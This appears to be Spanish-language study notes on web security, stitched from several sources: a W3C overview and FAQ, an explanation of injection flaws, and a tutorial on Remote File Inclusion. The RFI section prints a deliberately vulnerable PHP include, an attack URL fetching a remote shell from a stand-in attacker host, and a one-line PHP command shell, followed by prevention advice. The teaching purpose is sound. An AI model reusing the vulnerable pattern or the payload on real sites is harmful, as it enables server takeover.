**SEGURIDAD**

\*W3C

La w3C es una [organización](https://www.monografias.com/trabajos6/napro/napro.shtml) internacional creada por el británico Tim Berners Lee en 1994. Esta organización es la encargada de definir todos los estándares de la [web](https://www.monografias.com/trabajos5/laweb/laweb.shtml). W3C son las siglas de [World Wide Web](https://www.monografias.com/trabajos32/accesibilidad-world-wide-web/accesibilidad-world-wide-web.shtml) Consorcio, y es una [comunidad](https://www.monografias.com/trabajos13/vida/vida.shtml) internacional donde los estados miembros trabajan para [poder](https://www.monografias.com/trabajos35/el-poder/el-poder.shtml) desarrollar estándares para el [desarrollo](https://www.monografias.com/trabajos12/desorgan/desorgan.shtml) web y así ayudar a un mejor desarrollo del Internet a nivel mundial. W3C es reconocido a nivel mundial por ser la organización encargada de estandarizar

El [Lenguaje](https://www.monografias.com/trabajos35/concepto-de-lenguaje/concepto-de-lenguaje.shtml) de Marcado de Hipertexto o mejor conocido como [HTML](https://www.monografias.com/trabajos7/html/html.shtml), el cual es utilizado para el [diseño](https://www.monografias.com/trabajos13/diseprod/diseprod.shtml) y desarrollo de sitios web (Es importante aclarar que antes de que W3C trabajara en HTML ya otras organizaciones habían desarrollado versiones previas).

Sin embargo los [objetivos](https://www.monografias.com/trabajos16/objetivos-educacion/objetivos-educacion.shtml) de W3C van más allá del desarrollo de HTML y trabajan en otros [proyectos](https://www.monografias.com/trabajos12/pmbok/pmbok.shtml) a fin de poder brindar nuevas opciones para la elaboración de sitios web, tanto es así que en los últimos años han concentrados sus esfuerzo en el desarrollo de XHTML, una versión avanzada de HTML que pretende en los próximos años sustituirlo.

Por otro lado W3C se centra en cuatro objetivos que describimos a continuación:

Web para todos: Accesibilidad para todo el mundo de forma global, sin barreras tecnológicas, limitaciones o culturales.

Web Sobre Todo: Intenta añadir el máximo de dispositivos a la web, actualmente se está en un [proceso](https://www.monografias.com/trabajos14/administ-procesos/administ-procesos.shtml#PROCE) de apertura donde las PDAs, Televisiones están iniciando su camino hacia la web.

Base de [Conocimiento](https://www.monografias.com/trabajos/epistemologia2/epistemologia2.shtml): Permitir que cada usuario pueda hacer un buen uso de la web.

Seguridad: Guiar al desarrollo de la web respetando las [normas](https://www.monografias.com/trabajos4/leyes/leyes.shtml) legales, comerciales y los aspectos sociales originados por esta [tecnología](https://www.monografias.com/Tecnologia/index.shtml).

Así de esta forma W3C se convierte en una organización de mucha importancia a nivel mundial, ya que los estándares que la misma presenta pueden influir en la forma en que el desarrollo web avance a nivel mundial.

El W3C desarrolla especificaciones técnicas y directrices a través de un proceso que ha sido diseñado para maximizar el consenso sobre el contenido de un informe técnico, de forma que se pueda asegurar la alta calidad técnica y editorial, así como obtener un mayor apoyo desde el W3C y desde la comunidad en general.

El W3C ofrece varias **vistas** de sus especificaciones, incluyendo:

* por [tema de la tecnología[ingles]](http://www.w3.org/TR/) (como por ejemplo, “todas las especificaciones relacionadas con HTML”)
* por [estado[ingles]](http://www.w3.org/TR/tr-status-all) (esta es una aproximación a la vista "clásica" de los informes técnicos (TR), con publicaciones recientes al principio y después todas las espeficificaciones agrupadas por su estado, desde Recomendaciones a borradores de trabajo)
* por [fecha[ingles]](http://www.w3.org/TR/tr-date-all) (las más recientes al principio)
* por [grupo[ingles]](http://www.w3.org/TR/tr-groups-all) (quien desarrolla la especificación)

¿Qué hace el W3C?

La principal actividad del W3C es desarrollar protocolos y directrices que aseguren el crecimiento de la Web a largo plazo. Los estándares del W3C definen las partes claves que hacen que la World Wide Web funcione. Conoce más sobre el [objetivo del W3C](http://www.w3c.es/Consorcio/mision).

¿Dónde está el W3C?

El W3C no sólo tiene una sede física. Existen tres instituciones que "albergan" al W3C: MIT (en Cambridge, Massachusetts, EEUU), ERCIM (en Sophia-Antipolis, Francia) y la Universidad de Keio (cerca de Tokio, Japón).

El [equipo del W3C[ingles]](http://www.w3.org/People/) está distribuido por todo el mundo, pero muchas de estas personas se concentran en Cambridge, Massachusetts (EEUU), Sophia-Antipolis (Francia) y Tokio (Japón). Además, el W3C está representado en otras 17 regiones del mundo a través de representantes que se basan en organizaciones. El W3C llama a estos puntos "[Oficinas del W3C[ingles]](http://www.w3.org/Consortium/Offices/)."

¿Cómo está organizado el W3C?

El W3C recibe ingresos de:

* [Cuotas de los Miembros del W3C[ingles]](http://www.w3.org/Consortium/fees)
* [Becas de investigación y otras fuentes de subvención pública y privada[ingles]](http://www.w3.org/Consortium/nmfunds)
* [Donaciones individuales de dinero y equipamiento](http://www.w3c.es/Consorcio/donaciones)

¿Cuál es la diferencia entre la Web e Internet?

Desde la [definición en la Wikipedia](http://en.wikipedia.org/wiki/Internet): "Internet es un conjunto descentralizado de redes de comunicación interconectadas que utilizan la familia de protocolos estándares TCP/IP".

De esta forma, Internet se define mediante los estándares TCP/IP.

La Web, por otro lado, se define en [Arquitectura de la World Wide Web, Volumen I[ingles]](http://www.w3.org/TR/webarch/) del W3C como sigue: "La World Wide Web (WWW, o simplemente Web) es un espacio de información donde los elementos de interés, denominados como recursos, se identifican a través de identificadores globales llamados Identificadores de Recurso Uniforme (URI)."

Así que la Web se define mediante otras especificaciones. Las tres primeras especificaciones para las tecnologías Web fueron URLs, HTTP y HTML.

¿Qué significa que Tim Berners-Lee inventó la Web?

[Tim Berners-Lee[ingles]](http://www.w3.org/People/Berners-Lee/) escribió una [propuesta[ingles]](http://www.w3.org/History/1989/proposal.html) en 1989 para un sistema llamado World Wide Web. Entonces creó el primer navegador y servidor Web, así como la primera página Web. Escribió la primera especificación de URLs, HTTP y HTML.

¿Cuál es la diferencia entre software de código abierto y un estándar abierto?

En términos generales: código abierto se refiere a software y estándares abiertos a documentos (que pueden ser implementados después por software). No hay una definición global simple para cada término.

Entre los elementos que se refieren a "abierto" que aplican a los estándares del W3C, se incluyen:

* Todos los estándares están disponibles de forma pública, sin coste alguno
* El W3C adoptó una [Política de Patentes[ingles]](http://www.w3.org/Consortium/Patent-Policy-20040205/) en 2004 con el objetivo inicial de asegurar "que las Recomendaciones producidas bajo esta política se puedan implementar basándose en una licencia libre de derechos de autor.
* El [Proceso del W3C[ingles]](http://www.w3.org/Consortium/Process/) requiere que los grupos se dirijan al público
* Todos los comentarios técnicos se tratan por su contenido, independientemente si están hechos por el público o por los Miembros del W3C.
* El proceso del W3C es neutro, sin ánimo de lucro.
* La [política de persistencia[ingles]](http://www.w3.org/Consortium/Persistence) del W3C pretende asegurar que los estándares estén disponibles siempre en la misma URI, sin cambios e indefinidamente.

¿El W3C diseña sitios Web? ¿Puedes recomendarme un diseñador?

El W3C no está en el negocio del diseño de sitios Web. Aunque apreciamos enormemente que muchos diseñadores promocionen diseños Web basados en estándares, actualmente y por razones de neutralidad, no podemos recomendar oficialmente a diseñadores.

¿Cómo comienzo a construir (o pedir que me hagan) un sitio Web que cumpla con los estándares?

El W3C ofrece una lista de recursos que ofrecen una [introducción al diseño basado en estándares[ingles]](http://www.w3.org/standards/about#started)

Que es 3wc en programación?

El World Wide Web Consortium, más conocido como **W3C**, es un consorcio internacional de organizaciones vinculadas a las tecnologías de información que busca promover la evolución de la Red a través del establecimiento de distintas pautas para su estandarización

\*ISO 7448-2

INJECTION FLAWS

**Los defectos de inyección** son una clase de vulnerabilidad de seguridad que permite a un usuario "salir" del contexto de la aplicación web. Si su aplicación web toma la entrada del usuario e inserta esa entrada del usuario en una base de datos de back-end, comando de shell o llamada del sistema operativo, su aplicación puede ser susceptible a una **falla de inyección** .

Un usuario explota esto rompiendo el "contexto" deseado y agrega funcionalidad adicional y, a menudo, involuntaria. **Al permitir fallas de inyección en su aplicación, le permite a un atacante crear, leer, actualizar o eliminar cualquier información arbitraria disponible para la aplicación** .

## Ejemplos de defectos de inyección

Hay muchos tipos de defectos de inyección. El más común es la inyección SQL. Además, hay [inyección de LDAP](http://www.owasp.org/index.php/LDAP_injection) , [inyección de](http://www.owasp.org/index.php/LDAP_injection)[XML](http://projects.webappsec.org/w/page/13247004/XML-Injection) , [inyección de XPath](http://www.owasp.org/index.php/XPATH_Injection) , [inyección de comandos del sistema operativo](http://www.owasp.org/index.php/OS_Command_Injection) e [inyección de HTML](http://bretthard.in/post/xss-cross-site-scripting) . Sin embargo, las fallas de inyección no se limitan solo a estas. Si su aplicación web inserta la entrada del usuario en cualquier intérprete o proceso, su aplicación web puede contener estas vulnerabilidades. Puede ver un ejemplo de cómo funciona un defecto de inyección aquí.

## Cómo prevenir defectos de inyección

Antes de llamar a una función externa, verifique que los datos sean los que usted espera. Esto se conoce como validación. Por ejemplo, si espera que a su función se le pase una cadena que contenga el nombre de un usuario, ¿debería contener algún carácter especial? Johnes un nombre valido Pero J<o>hnno lo es. Ambos nombres de usuario deben ejecutarse a través de una función de validación y para que la aplicación web pueda determinar si los datos son lo que el desarrollador espera.

Hay ciertas excepciones sin embargo que pueden meterte en problemas. Las comillas simples (') son caracteres válidos en los apellidos de las personas. Sin embargo, si permite una única cita en un campo de apellido, puede introducir la inyección de SQL en su aplicación.

**En los casos en los que debe permitir una comilla simple ('), además de la validación, también debe sanear (codificar) la entrada** . La desinfección de la entrada determina la forma en que la entrada se puede transformar en datos "no amenazantes". Esto debe hacerse caso por caso.

Por ejemplo, si entiende que los datos desinfectados siempre se devolverán en un navegador, podría simplemente codificar HTML o URL codificar la cadena. Una cita se convierte en &quote;(codificación HTML) o %27(codificación URL).

Al sanear la entrada, es importante asegurarse de descodificar la cadena antes de que se muestre al usuario. Puede ser embarazoso si Tim O'Briense imprime como:Tim O%27Brien

INSECURE REMOTE FILE INCLUDE

**RFI** (**Remote File Inclusion**), traducido al español como Inclusión Remota de Archivos - vulnerabilidad existente solamente en [páginas dinámicas](https://es.wikipedia.org/w/index.php?title=P%C3%A1gina_din%C3%A1mica&action=edit&redlink=1) en [PHP](https://es.wikipedia.org/wiki/PHP) que permite el enlace de archivos remotos situados en otros [servidores](https://es.wikipedia.org/wiki/Servidor) a causa de una mala programación de la página que contiene funciones de inclusión de archivos.

Este tipo de vulnerabilidad no se da en páginas programadas en [ASP](https://es.wikipedia.org/wiki/Active_Server_Pages) o en cualquier otro tipo de lenguaje similar que no contenga la posibilidad de la inclusión remota de archivos ajenos al [servidor](https://es.wikipedia.org/wiki/Servidor).

En esta segunda entrega de las descripciones de los diferentes tipos de ataques informáticos vamos a conocer a un ataque llamado **RFI** (**Remote File Inclusion**). El RFI es uno de los ataques favoritos contra (o a través) de páginas web para los hackers, en 2011 se situó entre los cuatro ataques más comunes contra páginas web. Este tipo de ataques es tan popular ya que a través de una explotación exitosa de la vulnerabilidad obtener el **control del servidor de la web** y además permite un realizar defacements de manera relativamente sencilla. Recordemos el gran ataque contra blogs WordPress que tuvo lugar hace unos meses, este tuvo lugar por culpa de una vulnerabilidad LFI en un add-on de WordPress.

**RFI** o **LFI** es posible gracias a la existencia de parámetros vulnerables en el código PHP en las páginas web que referencian a objetos externos sin filtrarlos.  
  
El ataque RFI es posible solo en páginas web que cumplan con ciertos requisitos:

* Primero deben tener código **PHP**, ya que permite **enlace a archivos remotos**. Actualmente se calcula que tres cuartas partes de las webs contienen código PHP, entre ellas Facebook, Wikipedia, WordPress...
* La programación del código debe contener **errores básicos de seguridad** (aunque mucho más comunes de lo que se pueda pensar) como la falta de filtrado de los datos.

**PHP** es un lenguaje de programación de uso en servidor especialmente diseñado para producir páginas web dinamicamente y sin duda es una de las mejores parejas para HTML y aún muchísimo más popular que ASP.NET, Java, Perl, Python.. para estas tareas.

**Como funciona la vulnerabilidad RFI/LFI**  
  
Como hemos dicho esta se basa en la capacidad de PHP de incluir archivos externos al servidor, pondremos un ejemplo. Supongamos que tenemos un fichero PHP (o de otro tipo) con un código que ejecuta una tarea que usaremos en muchas de nuestras páginas. Tenemos la opción a través de la función include o require, de llamar a este archivo, de esa manera si tenemos que cambiar algo en este proceso solo deberemos modificar un fichero y el resto de nuestra web seguirá funcionando perfectamente.

El problema con la función include aparece si el código de llamada de esta función no está suficientemente filtrado, en ese caso podríamos crear una petición manipulada a través de la cual podríamos ejecutar código, añadir ficheros... directamente en el servidor. Veamos un ejemplo:

Tenemos una página web que en uno de sus ficheros contiene esta porción de código PHP

ejemplo.php  
<?php  
include $\_REQUEST['fichero'];  
?>

en este caso al visitar la web es posible que viéramos en la barra de direcciones, algo como

<http://www.ejemplo.com/ejemplo.php?fichero=datos.csv>  
    
en este caso el atacante podría crear una petición para la página vulnerable

<http://www.ejemplo.com/ejemplo.php?fichero=http>://www.atacante.com/shell.txt&&cmd=ls

shell.txt  
<?  
system($cmd)  
?>

como vemos el archivo shell.txt es simplemente una llamada a ejecutar cmd. La anterior petición, ejecutaría la llamada a cmd y ejecutaría el comando ls para mostrarnos el contenido de la carpeta del servidor remoto. De la misma manera podríamos ir creando diferentes llamadas para realizar otro tipo de acciones más invasivas, o directamente servirnos de una shell PHP para manejar el servidor atacado con total libertad.

**Como evitar RFI**

En el caso que seamos nosotros mismos los programadores de la web, debemos tener en cuenta que funciones pueden llegar a ser peligrosas si no las usamos de manera adecuada en nuestro código, por poner algunos ejemplos las funciones Include(), Include\_once(), require(), Require\_once(), eval(), exec(), passthru(), system(), popen(), fopen(), readfile(), file(), readfile(), file() son algunas sobre las que tendremos que tener especial cuidado para no exponer nuestros servidores a través de un código mal escrito.

En el caso de que el código haya sido desarrollado por terceros como siempre conviene mantener los distintos componentes actualizados y mantenerse al día de los distintos modos de ataque sobre estas vulnerabilidades para poder probarlos antes que nadie sobre nuestra propia web y ver si presenta vulnerabilidades, desconfiando de plugin y/o addons de terceros que en la mayoría de los casos no necesitamos realmente y solo añaden problemas de seguridad a nuestros sitios web.